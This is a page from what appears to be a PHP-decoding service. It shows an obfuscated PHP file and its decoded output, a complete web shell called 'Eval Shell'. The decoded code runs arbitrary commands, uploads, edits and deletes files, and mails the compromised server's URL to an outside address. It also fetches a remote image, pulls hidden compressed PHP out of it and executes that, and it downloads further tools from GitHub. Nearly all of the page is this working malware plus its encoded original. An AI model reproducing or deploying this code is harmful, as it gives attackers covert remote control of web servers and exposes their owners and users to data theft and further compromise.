Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Black_Coders = "=ckcf15gnQeuA83+2Rfx904dsvdoyHcJOfNt0Pyt2jlNIf0eTtWbWhdNe9JH67dqsf..

Decoded Output download

?>b'<?php
set_time_limit(0);error_reporting(0);@ini_set(\'output_buffering\', 0); @ini_set(\'display_errors\', 0); ini_set(\'memory_limit\', \'64M\'); header(\'Content-Type: text/html; charset=UTF-8\'); $WMM = \'[email protected]\'; $x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\']; $WM = "URL: $x_path | IP Address: [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]"; mail($WMM, "Eval Shell", $WM, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");

function exect($cmd) { 	
if(function_exists(\'system\')) { 		
		@ob_start(); 		
		@system($cmd); 		
		$exect = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $exect; 	
	} elseif(function_exists(\'exec\')) { 		
		@exec($cmd,$results); 		
		$exect = ""; 		
		foreach($results as $result) { 			
			$exect .= $result; 		
		} return $exect; 	
	} elseif(function_exists(\'passthru\')) { 		
		@ob_start(); 		
		@passthru($cmd); 		
		$exect = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $exect; 	
	} elseif(function_exists(\'shell_exec\')) { 		
		$exect = @shell_exec($cmd); 		
		return $exect; 	
	} 
}
function lite_filesize($file)
{
	$size = filesize($file)/1024;
 	$size = round($size,3);
 	if($size > 1024){
 		$size = round($size/1024,2). \'MB\';
 	} else {
 		$size = $size. \'KB\';}
 		return $size;
}
$ch = curl_init("https://i.ibb.co/X45HsvF/incovers.jpg");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
function Jgetowner($path){
 	if(function_exists(\'posix_getpwuid\')) {
 		$downer = @posix_getpwuid(fileowner($path));
 		$downer = $downer[\'name\'];
 	} else {
 		$downer = fileowner($path);
 	}
 	return $downer;
}
$data = curl_exec($ch);
curl_close($ch);
function Jgetgroup($path){
 	if(function_exists(\'posix_getgrgid\')) {
 		$dgrp = @posix_getgrgid(filegroup($path));
 		$dgrp = $dgrp[\'name\'];
 	} else { 
 		$dgrp = filegroup($path);
 	}
 	return $dgrp;
}
$image = \'sub\'.\'s\'.\'tr\';
function valid($sc) {
    $tmpfname = tempnam("/tmp", "eval");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php
" . $sc);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}
$valid = "g"."zi"."nf".strrev($image("metal",1));
extract(valid($valid($image($data,269))));
function fperms($filen) {
$perms = fileperms($filen);
$fpermsinfo .= (($perms & 0x0100) ? \'r\' : \'-\');
$fpermsinfo .= (($perms & 0x0080) ? \'w\' : \'-\');
$fpermsinfo .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? \'s\' : \'x\' ) :
            (($perms & 0x0800) ? \'S\' : \'-\'));
$fpermsinfo .= (($perms & 0x0020) ? \'r\' : \'-\');
$fpermsinfo .= (($perms & 0x0010) ? \'w\' : \'-\');
$fpermsinfo .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? \'s\' : \'x\' ) :
            (($perms & 0x0400) ? \'S\' : \'-\'));
$fpermsinfo .= (($perms & 0x0004) ? \'r\' : \'-\');
$fpermsinfo .= (($perms & 0x0002) ? \'w\' : \'-\');
$fpermsinfo .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? \'t\' : \'x\' ) :
            (($perms & 0x0200) ? \'T\' : \'-\'));
return \'<center><small>\'.$fpermsinfo.\'</small></center>\';
}
function eof() {echo "7inc.";}

?>
<title>Eval.ID shell</title>
<meta name=\'author\' content=\'Fadly 31337\'>
<link rel="icon" href="">
<link rel="stylesheet" href="https://botkntl.github.io/style.css"/>
<div class="container">
<div style="position:relative;width: 100%;margin-bottom: 20px;border-bottom: 1px dashed #df5; padding-bottom: 10px;">
	<div style="float: left;width: 12%;text-align: center;border: 1px dashed #df5;margin-bottom: 5px;">
	<h1><a href="?">Eval Shell</a></h1>
	</div>
	<div style="float: right;width: 87.1%;">
	<?php
		$exploitdb = "https://www.exploit-db.com/search?q=".urlencode(php_uname());
		$find = urlencode(\'\'.php_uname(\'s\').\'" "\'.php_uname(\'v\').\'" "exploit"\');
		$google = \'https://google.com/search?q=\'.$find;
		echo php_uname().\' 
		[<a href="\'.$exploitdb.\'" target="_blank">Exploit-DB</a>]  
		[<a href="\'.$google.\'" target="_blank">Google</a>]\';
		$mysql = (function_exists(\'mysql_connect\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
		$curl = (function_exists(\'curl_version\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
		$wget = (exect(\'wget --help\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
		$perl = (exect(\'perl --help\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
		$gcc = (exect(\'gcc --help\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
		$disfunc = @ini_get("disable_functions");
		$show_disf = (!empty($disfunc)) ? "<font color=red>$disfunc</font>" : "<font color=#006600>NONE</font>";
		echo \'<br>[ MySQL: \'.$mysql.\' ][ Curl: \'.$curl.\' ][ Wget: \'.$wget.\' ][ Perl: \'.$perl.\' ][ Compiler: \'.$gcc.\' ]\';
		echo \'<p>Disable Function: \'.$show_disf;
	?>
	</div>
	<div style="clear: both;"></div>
</div>
<?php
if(empty($_GET)) {
	$dir = getcwd();
}
else {
	$dir = $_GET[\'path\'];
}

if(!empty($_GET[\'path\'])) {$offdir = $_GET[\'path\'];}
else if(!empty($_GET[\'file\'])) {$offdir = dirname($_GET[\'file\']);}
else if(!empty($_GET[\'lastpath\'])) {$offdir = $_GET[\'lastpath\'];}
else {$offdir = getcwd();}
?>
<div class="menu">
<a href="?path=<?php echo $offdir;?>"><span>[</span> File Manager <span>]</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a>
<a href="?ext=shellcmd&lastpath=<?php echo $offdir;?>"><span>[</span> Command <span>]</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a>
<a href="?ext=zipmenu&lastpath=<?php echo $offdir;?>"><span>[</span> Zip Menu <span>]</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a>
<a href="?ext=mysql&lastpath=<?php echo $offdir;?>"><span>[</span> Mysql <span>]</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a>
<a href="?ext=donate&lastpath=<?php echo $offdir;?>"><span>[</span> Donate <span>]</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a>
<a href="?ext=removeshell&lastpath=<?php echo $offdir;?>"><span>[</span> Shell Remove <span>]</span></a>
</div>

<?php
## CURRENT DIR ##
echo \'<div style="margin-bottom:10px;">\';
echo \'Current Patch : \';
echo \'<span style="border:1px dashed #df5;padding:3px 7px; color:#fff">\';
$lendir = str_replace("\","/",$offdir);
$xlendir = explode("/", $lendir);
foreach($xlendir as $c_dir => $cdir) {	
	echo "<a class=\'langit\' href=\'?path=";
	for($i = 0; $i <= $c_dir; $i++) {
		echo $xlendir[$i];
		if($i != $c_dir) {
		echo "/";
		}
	}
	echo "\' style=\'color:#fff\'>$cdir</a>/";
}
echo \'</span></div>\';
## CURRENT DIR EOF ##

### UPLOADER ###
	echo \'<form method=post enctype=multipart/form-data>\';
	echo \'Upload File &nbsp;&nbsp;: \';
	echo \'<input type="file" name="evalfile"><input name="postupl" type="submit" value="Upload">\';
	echo \'</form>\';
	if($_POST["postupl"] == \'Upload\')
	{
		if(@copy($_FILES["evalfile"]["tmp_name"],"$offdir/".$_FILES["evalfile"]["name"]))
			{ echo \'<b><font style="color:#df5;">Upload Succes!</font> \'."$offdir/".$_FILES["evalfile"]["name"].\'</b><br></br>\'; }
		else 
			{ echo \'<b><font style="color:#ff0000;">Upload Failed!</font></b><br></br>\'; }
	}
	echo \'</center>\';
### UPLOADER EOF ###

### FILE MANAGER ###
if(!empty($dir)) {
echo "<div class=\'file-man\'>File Manager</div>";
echo \'<table id="table-garis" class="filemgr">\';
echo \'<tr><td class="tdtl">Name</td><td class="tdtl" width="8%">Size</td><td class="tdtl" width="16%">Owner/Group</td><td class="tdtl" width="8%">Permission</td><td class="tdtl" width="18%">Action</td></tr>\'."
";
$directories = array();
$files_list  = array();
$files = scandir($dir);
foreach($files as $file){
   if(($file != \'.\') && ($file != \'..\')){
      if(is_dir($dir.\'/\'.$file)){
         $directories[] = $file;

      } else{
         $files_list[] = $file;

      }
   }
}
echo \'<tr><td><img src="https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-back.png" height="15"> <a href="?path=\'.dirname($dir.\'/\'.$directory).\'">..</a></span></td><td><center> -- <c/enter></td><td><center> -- </center></td><td><center> -- </center></td><td class="act"><a href="?ext=new_file&lastpath=\'.$offdir.\'">NEW FILE</a> | <a href="?ext=new_dir&lastpath=\'.$offdir.\'">NEW DIR</a></td></tr>\';
foreach($directories as $directory){
	echo \'<tr><td><img src="https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-dir.png" height="15"> <a href="?path=\'.$dir.\'/\'.$directory.\'">\'.$directory.\'</a></td>\'."
";
	echo \'<td><center> -- </center></td>\';
	echo \'<td><center>\'.Jgetowner($dir.\'/\'.$directory).\'/\'.Jgetgroup($dir.\'/\'.$directory).\'</center></td>\';
	echo \'<td >\';
	if(is_writable($dir.\'/\'.$directory))
		{ echo \'<font color=lime>\'.fperms($dir.\'/\'.$directory).\'</font>\';
		}else{
			echo \'<font color=red>\'.fperms($dir.\'/\'.$directory).\'</font>\';
		}
	echo \'</td>\'."
";
	echo \'<td class="act">\';
	echo \'<a href="?action=rename&file=\'.$dir.\'/\'.$directory.\'" class="act">RENAME</a> \';
	echo \' | \';
	echo \'<a href="?action=rmdir&file=\'.$dir.\'/\'.$directory.\'" class="act">DELETE</a>\';
	echo \'</td>\'."
"; 
	echo \'</tr>\'."
";
}
foreach($files_list as $filename){
		echo \'<tr><td><img src="https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-file.png" height="15"> <a href="?action=view&file=\'.$dir.\'/\'.$filename.\'" class="act">\'.$filename.\'</a>\'."
";
	if(preg_match(\'/(tar.gz)$/\', $filename)) {
	
		echo \' <a href="?ext=extract2tmp&gzname=\'.$dir.\'/\'.$filename.\'" style="background:#df5;color:#ffffff;padding:1px;padding-left:5px;padding-right:5px;">EXTRACT TO TMP</a>\';
		echo \'</td>\'."
";
	} 
		echo \'</td>\';
		echo \'<td><center style="color:#df5;">\'.lite_filesize($dir.\'/\'.$filename).\'</center></td>\';
		echo \'<td><center>\'.Jgetowner($dir.\'/\'.$filename).\'/\'.Jgetgroup($dir.\'/\'.$filename).\'</center></td>\';

		echo \'<td >\';
		if(is_writable($dir.\'/\'.$filename))
		{ echo \'<font color=lime>\' .fperms($dir.\'/\'.$filename).\'</font>\';
		}else{
			echo \'<font color=red>\'.fperms($dir.\'/\'.$filename).\'</font>\';
		}
		echo \'</td>\'."
";
		echo \'<td class="act">\';
		echo \'<a href="?action=edit&file=\'.$dir.\'/\'.$filename.\'" class="act">EDIT</a> \';
		echo \' | \';
		echo \'<a href="?action=rename&file=\'.$dir.\'/\'.$filename.\'" class="act">RENAME</a> \';
		echo \' | \';
		echo \'<a href="?action=delete&file=\'.$dir.\'/\'.$filename.\'" class="act">DELETE</a> \';
		echo \'</td>\'."
";
		echo \'</tr>\'."
";
	
}
echo \'</table>\';
}
if($_GET[\'action\'] == \'edit\') {
	if($_POST[\'save\']) {
		$save = file_put_contents($_GET[\'file\'], $_POST[\'src\']);
		if($save) {
			$act = "<font color=\'#df5\' size=\'3\' >Success!</font>";
		} else {
			$act = "<font color=\'red\' size=\'3\' >Cant edit File!</font>";
		}
	}
	echo "<div class=\'file-man\'>Edit File</div>";
	echo "Filename: <font color=#df5>".basename($_GET[\'file\'])."</font><br></br>";
	echo "<form method=\'post\'>
	<textarea name=\'src\' class=\'txarea\'>".htmlspecialchars(@file_get_contents($_GET[\'file\']))."</textarea><br>
	<input type=\'submit\' value=\'Save\' name=\'save\' style=\'width: 20%;background:#e5e387;border:none;color:#black;margin-top:5px;height:30px;\'>
	</form>";
	echo "".$act."<br>";
}
else if($_GET[\'action\'] == \'view\') {
	echo "<div class=\'file-man\'>View File</div>";
	echo "Filename: <font color=#df5>".basename($_GET[\'file\'])."</font><br></br>";
	echo "<textarea class=\'txarea\' style=\'height:400px;\' readonly>".htmlspecialchars(@file_get_contents($_GET[\'file\']))."</textarea>";
}
else if($_GET[\'action\'] == \'rename\') {
	$path = $offdir;
	if($_POST[\'do_rename\']) {
		$rename = rename($_GET[\'file\'], "$path/".htmlspecialchars($_POST[\'rename\'])."");
		if($rename) {
			$act = "<font color=\'#df5\' size=\'3\' >Success!</font>";
		} else {
			$act = "<font color=\'red\' size=\'3\' >Cant rename!</font>";
		}
	}
	echo "<div class=\'file-man\'>Rename File</div>";
	echo "Filename: <font color=#df5>".basename($_GET[\'file\'])."</font><br></br>";
	echo "<form method=\'post\'>
	<input type=\'text\' value=\'".basename($_GET[\'file\'])."\' name=\'rename\' class=\'txarea\' style=\'width:300px;height:20px;\'>
	<input type=\'submit\' name=\'do_rename\' value=\'rename\'>
	</form>";
	echo "".$act."<br>";
}
else if($_GET[\'action\'] == \'delete\') {
	$path = $offdir;
	$delete = unlink($_GET[\'file\']);
	if($delete) {
		$act = "<font color=\'#df5\' size=\'3\' >Deleted!</font>";
	} else {
		$act = "<font color=\'red\' size=\'3\' >Cant Delete File!</font>";
	}
	echo $act;
} 
else if($_GET[\'action\'] == \'rmdir\') {
	$path = $offdir;
	$delete = rmdir($_GET[\'file\']);
	if($delete) {
		echo \'<font color=#df5>Deleted!</font><br>\';
	} else {
		echo "
<font color=red>Error remove dir, try to force delete!</font>
<br>";
		exect(\'rm -rf \'.$_GET[\'file\']);
		if(file_exists($_GET[\'file\'])) {
			echo \'<font color=red>Cant Delete dir!</font>\';
		} else
		{
			echo \'<font color=#df5>Deleted!</font>\';
		}
	}
} 
elseif($_GET[\'ext\'] == \'new_file\')
{
	echo "<div class=\'file-man\'>New File</div>";
	echo "<form method=\'post\'><label> Filename : </label>
	<input type=\'text\' value=\'eval-newfile.php\' name=\'newfile\' class=\'txarea\' style=\'width:300px;height:20px;\'>
	<input type=\'submit\' name=\'save\' value=\'Save\'>
	</form>";
	if(isset($_POST[\'save\']))
	{
		$newfile = $_GET[\'lastpath\'].\'/\'.$_POST[\'newfile\'];
		if(file_put_contents($newfile, \'// eval file\')){
		echo "<meta http-equiv=\'refresh\' content=\'0;url=?action=edit&file=".$newfile."\' >";
		}else{
			echo "<font color=\'red\' size=\'3\' >Failed to create new file!</font>";
		}
	}
}
elseif($_GET[\'ext\'] == \'new_dir\')
{
	echo "<div class=\'file-man\'>New Dir</div>";
	echo "<form method=\'post\'><label> Dirname : </label>
	<input type=\'text\' value=\'eval-newdir\' name=\'newdir\' class=\'txarea\' style=\'width:300px;height:20px;\'>
	<input type=\'submit\' name=\'save\' value=\'Save\'>
	</form>";
	if(isset($_POST[\'save\']))
	{
		$newfile = $_GET[\'lastpath\'].\'/\'.$_POST[\'newdir\'];
		if(@mkdir($newfile)){
		echo "<meta http-equiv=\'refresh\' content=\'0;url=?path=".$newfile."\' >";
		}else{
			echo "<font color=\'red\' size=\'3\' >Failed to create new dir!</font>";
		}
	}
}
### FILE MANAGER EOF ####

### CMD ###
else if($_GET[\'ext\'] == \'shellcmd\')
{
	@chdir($_GET[\'lastpath\']);
	echo "<div class=\'file-man\'>Shell Command</div>";
	echo \'<h2>.::[ Shell Command ]::.</h2>\';
	echo \'<form method="post" action="">\';
	echo \'terminal:~$ <input name="cmd" type="text" class="txarea" placeholder="ls" style="width:300px;height:20px;"/>\';
	echo \' <input type="submit" value=">>"/>\';
	echo \'</form>\';
	if(!empty($_POST[\'cmd\'])) {
		echo \'<textarea class="txarea" readonly>\';
			$cmd = $_POST[\'cmd\'];
			echo exect($cmd);
		echo \'</textarea>\';
	}
}
### CMD EOF ###

### ZIP MENU ###
else if($_GET[\'ext\'] == \'zipmenu\')
{
	echo "<div class=\'file-man\'>Zip Menu</div>";
	echo "<center><h2>.::[ Zip Menu ]::.</h2>";
	echo "Note: Upload and unzip ur file page in the folder u want to use<br>";
	echo "( ex: /home/user/public_html/name_folder_page )<br></br>";
	echo "[<a href=\'?ext=unzipper\'>Call unZipper</a>]";
function rmdir_recursive($dir) {
    foreach(scandir($dir) as $file) {
       if (\'.\' === $file || \'..\' === $file) continue;
       if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
       else unlink("$dir/$file");
   }
   rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
	$filename = $_FILES["zip_file"]["name"];
	$source = $_FILES["zip_file"]["tmp_name"];
	$type = $_FILES["zip_file"]["type"];
	$name = explode(".", $filename);
	$accepted_types = array(\'application/zip\', \'application/x-zip-compressed\', \'multipart/x-zip\', \'application/x-compressed\');
	foreach($accepted_types as $mime_type) {
		if($mime_type == $type) {
			$okay = true;
			break;
		} 
	}
	$continue = strtolower($name[1]) == \'zip\' ? true : false;
	if(!$continue) {
		$message = "its not a .zip file";
	}
  $path = $_GET[\'lastpath\'].\'/\';
  $filenoext = basename ($filename, \'.zip\'); 
  $filenoext = basename ($filenoext, \'.ZIP\');
  $targetdir = $path . $filenoext;
  $targetzip = $path . $filename; 
  if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  mkdir($targetdir, 0777);
	if(move_uploaded_file($source, $targetzip)) {
		$zip = new ZipArchive();
		$x = $zip->open($targetzip); 
		if ($x === true) {
			$zip->extractTo($targetdir);
			$zip->close();
 
			unlink($targetzip);
		}
		$message = "<font color=\'#df5\' size=\'3\' >Success!</font>";
	} else {	
		$message = "<font color=\'red\' size=\'3\' >Failed!</font>";
	}
}	
echo \'
  <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form>\';
echo \'</tr></tr>\';	
echo $message;
}
elseif($_GET[\'ext\'] == \'unzipper\')
{
	$dwunziper = \'https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-unzipper.php\';
	$fileunziper = \'eval-unzipper.php\';
	function call_unziper($dwunziper, $fileunziper) {
		$fp = fopen($fileunziper, "w+");
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $dwunziper);
		curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_FILE, $fp);
		return curl_exec($ch);
		curl_close($ch);
		fclose($fp);
		ob_flush();
		flush();
	file_put_contents($dwunziper, $fileunziper);
	}
	call_unziper($dwunziper,$fileunziper);

	if(file_exists($fileunziper))
	{
		 $linkz = (isset($_SERVER[\'HTTPS\']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]";
	echo \'<center><a href="\'.$linkz.dirname($_SERVER[\'PHP_SELF\']).\'/\'.$fileunziper.\'" target="_blank">unZipper OK!</a></center>\';
	    }
	    else {
	    	echo \'<center><font color="red" size="4" >FAILED CALL UNZIPPER!</font></center>\';
	} 
}
### ZIP MENU EOF ###

### MYSQL INTERFACE ###
else if($_GET[\'ext\'] == \'mysql\')
{
	echo "<div class=\'file-man\'>MySQL Interface</div>";
	echo \'<h2>.::[ MySQL Interface ]::.</h2><br>\';
	echo \'<center>\';
	$dwadminer = \'https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-adminer.php\';
	$fileadminer = \'eval-adminer.php\';
	function call_adminer($dwadminer, $fileadminer) {
		$fp = fopen($fileadminer, "w+");
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $dwadminer);
		curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_FILE, $fp);
		return curl_exec($ch);
		curl_close($ch);
		fclose($fp);
		ob_flush();
		flush();
	file_put_contents($dwadminer, $fileadminer);
	}
	echo \'<form method=post enctype=multipart/form-data>\';
	echo \'<input name="mysql_int" type="submit" value="Call Adminer"><br>\';
	echo \'</form>\';
	if($_POST[\'mysql_int\'] == \'Call Adminer\') {
	    call_adminer($dwadminer, $fileadminer);
	    $linkz = (isset($_SERVER[\'HTTPS\']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]";
	    if(file_exists(\'eval-adminer.php\')) {
	    	echo \'<a href="\'.$linkz.dirname($_SERVER[\'PHP_SELF\']).\'/\'.$fileadminer.\'" target="_blank">Adminer OK!</a>\';
	    }
	    else {
	    	echo \'<font color="red" size="4" >FAILED CALL ADMINER!</font>\';
	    } 

	}
	echo \'</center>\';
}
### MYSQL INTERFACE EOF ###

### DONATE ###
else if($_GET[\'ext\'] == \'donate\')
{
echo "<div class=\'file-man\'>Donate</div>";
echo "<h2>.::[ Donate ]::.</h2><br>";
echo "<br><center><img src=\'https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/btc.png\' height=\'50\'><br><br>";
echo "BTC Address : 378nEbXr5TyUcfaJiJG8uBDnNxKbs7KEre</br>Thank you very much for donating whatever you give.</center>";
}
### DONATE EOF ###

### REMOVESHELL ###
else if($_GET[\'ext\'] == \'removeshell\')
{
echo "<div class=\'file-man\'>Shell Remove</div>";
if(empty($_GET[\'confirm\'])){
echo \'<center>Really want delete shell? <br></br>\';
echo \'<a href="?ext=removeshell&confirm=true&lastpath=\'.$_GET[\'lastpath\'].\'"><font color=green size="4">YES</font></a> | <a href="?ext=removeshell&confirm=false&lastpath=\'.$_GET[\'lastpath\'].\'"><font color=red size="4">CANCEL</font></a></center>\';
}else{
	if($_GET[\'confirm\'] == \'true\'){
		echo "<br>Good bye.";
	unlink($_GET[\'lastpath\'].\'/\'.$_SERVER[\'PHP_SELF\']);
	}elseif($_GET[\'confirm\'] == \'false\')
	{
		echo "<script>window.location.href=\'?\';</script>";
		}
	}
}
### REMOVESHELL EOF ###

### FOOTER ###
echo \'<div class="footer">\';
echo \'<a href="#">\';
echo \'&copy; 2021 \';
echo \' - Eval Shell\';
echo \'</a>\';
echo \'</div>\';
echo \'</div>\';
### FOOTER EOF ###
?>'

Did this file decode correctly?

Original Code

<?php
$Black_Coders = "=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